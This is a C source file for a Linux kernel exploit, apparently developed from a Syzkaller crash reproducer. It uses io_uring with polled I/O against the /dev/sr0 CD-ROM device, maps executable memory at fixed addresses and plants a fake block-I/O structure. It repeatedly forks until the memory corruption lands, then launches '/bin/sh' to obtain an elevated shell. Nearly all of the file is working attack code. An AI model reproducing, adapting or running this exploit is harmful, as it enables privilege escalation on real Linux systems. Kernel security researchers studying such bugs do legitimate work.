// Originally generated by Syzkaller, optimized by us #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "io_uring.h" #define FLAG_IORING_SETUP_IOPOLL ((1)) #define RING ((0x20000240ULL)) #define SQES ((0x20000040ULL)) #define IO_URING_PARAMS ((0x20000080ULL)) #define RING_VMA ((0x20ffd000)) #define SQES_VMA ((0x20ffc000)) #ifndef __NR_io_uring_enter #define __NR_io_uring_enter 426 #endif #ifndef __NR_io_uring_setup #define __NR_io_uring_setup 425 #endif #define BOUNCE_ADDR 0x30000000ul static __thread int clone_ongoing; static __thread int skip_segv; static __thread jmp_buf segv_env; static void segv_handler(int sig, siginfo_t* info, void* ctx) { if (__atomic_load_n(&clone_ongoing, __ATOMIC_RELAXED) != 0) { exit(sig); } uintptr_t addr = (uintptr_t)info->si_addr; const uintptr_t prog_start = 1 << 20; const uintptr_t prog_end = 100 << 20; int skip = __atomic_load_n(&skip_segv, __ATOMIC_RELAXED) != 0; int valid = addr < prog_start || addr > prog_end; if (skip && valid) { _longjmp(segv_env, 1); } exit(sig); } static void install_segv_handler(void) { struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_handler = SIG_IGN; syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8); syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8); memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = segv_handler; sa.sa_flags = SA_NODEFER | SA_SIGINFO; sigaction(SIGSEGV, &sa, NULL); sigaction(SIGBUS, &sa, NULL); } #define NONFAILING(...) ({ int ok = 1; __atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); if (_setjmp(segv_env) == 0) { __VA_ARGS__; } else ok = 0; __atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); ok; }) static void sleep_ms(uint64_t ms) { usleep(ms * 1000); } static uint64_t current_time_ms(void) { struct timespec ts; if (clock_gettime(CLOCK_MONOTONIC, &ts)) exit(1); return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000; } static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { int err = errno; close(fd); errno = err; return false; } close(fd); return true; } #define SIZEOF_IO_URING_SQE 64 #define SIZEOF_IO_URING_CQE 16 #define SQ_HEAD_OFFSET 0 #define SQ_TAIL_OFFSET 64 #define SQ_RING_MASK_OFFSET 256 #define SQ_RING_ENTRIES_OFFSET 264 #define SQ_FLAGS_OFFSET 276 #define SQ_DROPPED_OFFSET 272 #define CQ_HEAD_OFFSET 128 #define CQ_TAIL_OFFSET 192 #define CQ_RING_MASK_OFFSET 260 #define CQ_RING_ENTRIES_OFFSET 268 #define CQ_RING_OVERFLOW_OFFSET 284 #define CQ_FLAGS_OFFSET 280 #define CQ_CQES_OFFSET 320 // #define IORING_OFF_SQ_RING 0 #define IORING_OFF_SQES 0x10000000ULL // Returns file descriptor to the ioring static long syz_io_uring_setup(volatile long a0, volatile long a1, volatile long a2, volatile long a3, volatile long a4, volatile long a5) { uint32_t entries = (uint32_t)a0; struct io_uring_params* setup_params = (struct io_uring_params*)a1; void* vma1 = (void*)a2; void* vma2 = (void*)a3; void** ring_ptr_out = (void**)a4; void** sqes_ptr_out = (void**)a5; uint32_t fd_io_uring = syscall(__NR_io_uring_setup, entries, setup_params); uint32_t sq_ring_sz = setup_params->sq_off.array + setup_params->sq_entries * sizeof(uint32_t); uint32_t cq_ring_sz = setup_params->cq_off.cqes + setup_params->cq_entries * SIZEOF_IO_URING_CQE; uint32_t ring_sz = sq_ring_sz > cq_ring_sz ? sq_ring_sz : cq_ring_sz; *ring_ptr_out = mmap(vma1, ring_sz, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE | MAP_FIXED, fd_io_uring, IORING_OFF_SQ_RING); uint32_t sqes_sz = setup_params->sq_entries * SIZEOF_IO_URING_SQE; *sqes_ptr_out = mmap(vma2, sqes_sz, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE | MAP_FIXED, fd_io_uring, IORING_OFF_SQES); return fd_io_uring; } // Append a SQ entry to the ring static long syz_io_uring_submit(volatile long a0, volatile long a1, volatile long a2, volatile long a3) { char* ring_ptr = (char*)a0; char* sqes_ptr = (char*)a1; char* sqe = (char*)a2; uint32_t sqes_index = (uint32_t)a3; uint32_t sq_ring_entries = *(uint32_t*)(ring_ptr + SQ_RING_ENTRIES_OFFSET); uint32_t cq_ring_entries = *(uint32_t*)(ring_ptr + CQ_RING_ENTRIES_OFFSET); uint32_t sq_array_off = (CQ_CQES_OFFSET + cq_ring_entries * SIZEOF_IO_URING_CQE + 63) & ~63; if (sq_ring_entries) sqes_index %= sq_ring_entries; char* sqe_dest = sqes_ptr + sqes_index * SIZEOF_IO_URING_SQE; memcpy(sqe_dest, sqe, SIZEOF_IO_URING_SQE); uint32_t sq_ring_mask = *(uint32_t*)(ring_ptr + SQ_RING_MASK_OFFSET); uint32_t* sq_tail_ptr = (uint32_t*)(ring_ptr + SQ_TAIL_OFFSET); uint32_t sq_tail = *sq_tail_ptr & sq_ring_mask; uint32_t sq_tail_next = *sq_tail_ptr + 1; uint32_t* sq_array = (uint32_t*)(ring_ptr + sq_array_off); *(sq_array + sq_tail) = sqes_index; __atomic_store_n(sq_tail_ptr, sq_tail_next, __ATOMIC_RELEASE); return 0; } static void kill_and_wait(int pid, int* status) { kill(-pid, SIGKILL); kill(pid, SIGKILL); for (int i = 0; i < 100; i++) { if (waitpid(-1, status, WNOHANG | __WALL) == pid) return; usleep(1000); } DIR* dir = opendir("/sys/fs/fuse/connections"); if (dir) { for (;;) { struct dirent* ent = readdir(dir); if (!ent) break; if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0) continue; char abort[300]; snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort", ent->d_name); int fd = open(abort, O_WRONLY); if (fd == -1) { continue; } if (write(fd, abort, 1) < 0) { } close(fd); } closedir(dir); } else { } while (waitpid(-1, status, __WALL) != pid) { } } static void setup_test() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); //sets the behavior for when the parent thread dies, sets it to sigkill itself setpgrp(); // sets group ID of calling process to the PID... not sure what this is for though? write_file("/proc/self/oom_score_adj", "1000"); } static void execute_one(void); #define WAIT_FLAGS __WALL static void loop(void) { int iter = 0; for (;; iter++) { int pid = fork(); if (pid < 0) exit(1); if (pid == 0) { setup_test(); execute_one(); exit(0); while(true); } int status = 0; uint64_t start = current_time_ms(); for (;;) { if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid) break; sleep_ms(1); if (current_time_ms() - start < 5000) continue; kill_and_wait(pid, &status); break; } if (iter >= 1) { // Need to try a shell after enough iters have passed for success, // but not too many as to accidentally hit an un-sprayed value and crash system("/bin/sh"); } } } #define IO_URING_FD_OFFSET ((0)) #define RING_OFFSET ((1)) #define SQES_OFFSET ((2)) uint64_t r[4] = {0xffffffffffffffff, 0x0, 0x0, 0xffffffffffffffff}; void execute_one(void) { intptr_t res = 0; // Install initial parameters / setup the io_uring struct io_uring_params *params = (struct io_uring_params *)IO_URING_PARAMS; params->sq_entries = 0; params->cq_entries = 0; params->flags = FLAG_IORING_SETUP_IOPOLL; params->sq_thread_cpu = 0; params->sq_thread_idle = 0; memset(&(params->resv), 0, sizeof(params->resv)); res = -1; res = syz_io_uring_setup(1, IO_URING_PARAMS, RING_VMA, SQES_VMA, RING, SQES); if (res != -1) { r[IO_URING_FD_OFFSET] = res; r[RING_OFFSET] = *(uint64_t*)RING; r[SQES_OFFSET] = *(uint64_t*)SQES; } // Reuse the params struct to open /dev/sr0 // /dev/sr0 is a SCSI CD ROM // This opens the CD ROM so we can interact with it using async block IO memcpy((void*)IO_URING_PARAMS, "/dev/sr0\000", 9); uint64_t dirfd = 0xffffffffffffff9cul; uint64_t flags = O_DIRECT | O_NONBLOCK | O_NOCTTY; assert(flags == 0x4900ul); syscall(__NR_openat, dirfd, IO_URING_PARAMS, flags, NULL); // Setup a SQ entry assert(offsetof(struct io_uring_sqe, opcode) == 0x20000100 - 0x20000100); assert(offsetof(struct io_uring_sqe, fd) == 0x20000104 - 0x20000100); assert(offsetof(struct io_uring_sqe, addr) == 0x20000110 - 0x20000100); assert(offsetof(struct io_uring_sqe, len) == 0x20000118 - 0x20000100); struct io_uring_sqe *new_entry = (struct io_uring_sqe *)(0x20000100); new_entry->opcode = IORING_OP_READ; assert(new_entry->opcode == 0x16); new_entry->fd = 4; new_entry->addr = 0x20000000; new_entry->len = 0xfffffd61; new_entry->file_index = 0; new_entry->__pad2[0] = 0; new_entry->__pad2[1] = 0; // Submit to index 0 syz_io_uring_submit(r[RING_OFFSET], r[SQES_OFFSET], new_entry, 0); // This is in IO_URING_PARAMS again: // POLLING mode == kernel and user share memory and the kernel async reads from it params->sq_entries = 0; params->cq_entries = 0; params->flags = FLAG_IORING_SETUP_IOPOLL; params->sq_thread_cpu = 0; params->sq_thread_idle = 0; memset(&(params->resv), 0, sizeof(params->resv)); NONFAILING(syz_io_uring_setup(1, IO_URING_PARAMS, RING_VMA, SQES_VMA, RING, 0)); // Enter our ring to the io uring syscall(__NR_io_uring_enter, r[IO_URING_FD_OFFSET], 0x7e93, 0x5cab, 2ul, 0ul, 0ul); } extern void setup_fake_bio(uint64_t addr); int main(void) { // Setup three memory regions for us to use // Most of the fun stuff happens in the second one // In fact, mmap's 1 and 3 are not even needed :) uint64_t mmap_flags = MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS; assert(mmap_flags == 0x32ul); assert(PROT_NONE == 0ul); assert(PROT_READ | PROT_WRITE | PROT_EXEC == 7ul); // mmap(0x1ffff000ul, 0x1000ul, PROT_NONE, mmap_flags, -1, 0); mmap(0x20000000ul, 0x1000000ul, PROT_READ | PROT_WRITE | PROT_EXEC, mmap_flags, -1, 0ul); // mmap(0x21000000ul, 0x1000ul, PROT_NONE, mmap_flags, -1, 0ul); int retval = mmap(BOUNCE_ADDR, 0x1000000ul, PROT_READ | PROT_WRITE | PROT_EXEC, mmap_flags, -1, 0ul); char *ptr = (char *)BOUNCE_ADDR; ptr[0] = 'A'; if (retval < 0) { perror("Error mmap'ing launchpad page\n"); exit(EXIT_FAILURE); } setup_fake_bio(BOUNCE_ADDR); // memset(BOUNCE_ADDR, 'A', 0x1000000ul); install_segv_handler(); loop(); return 0; }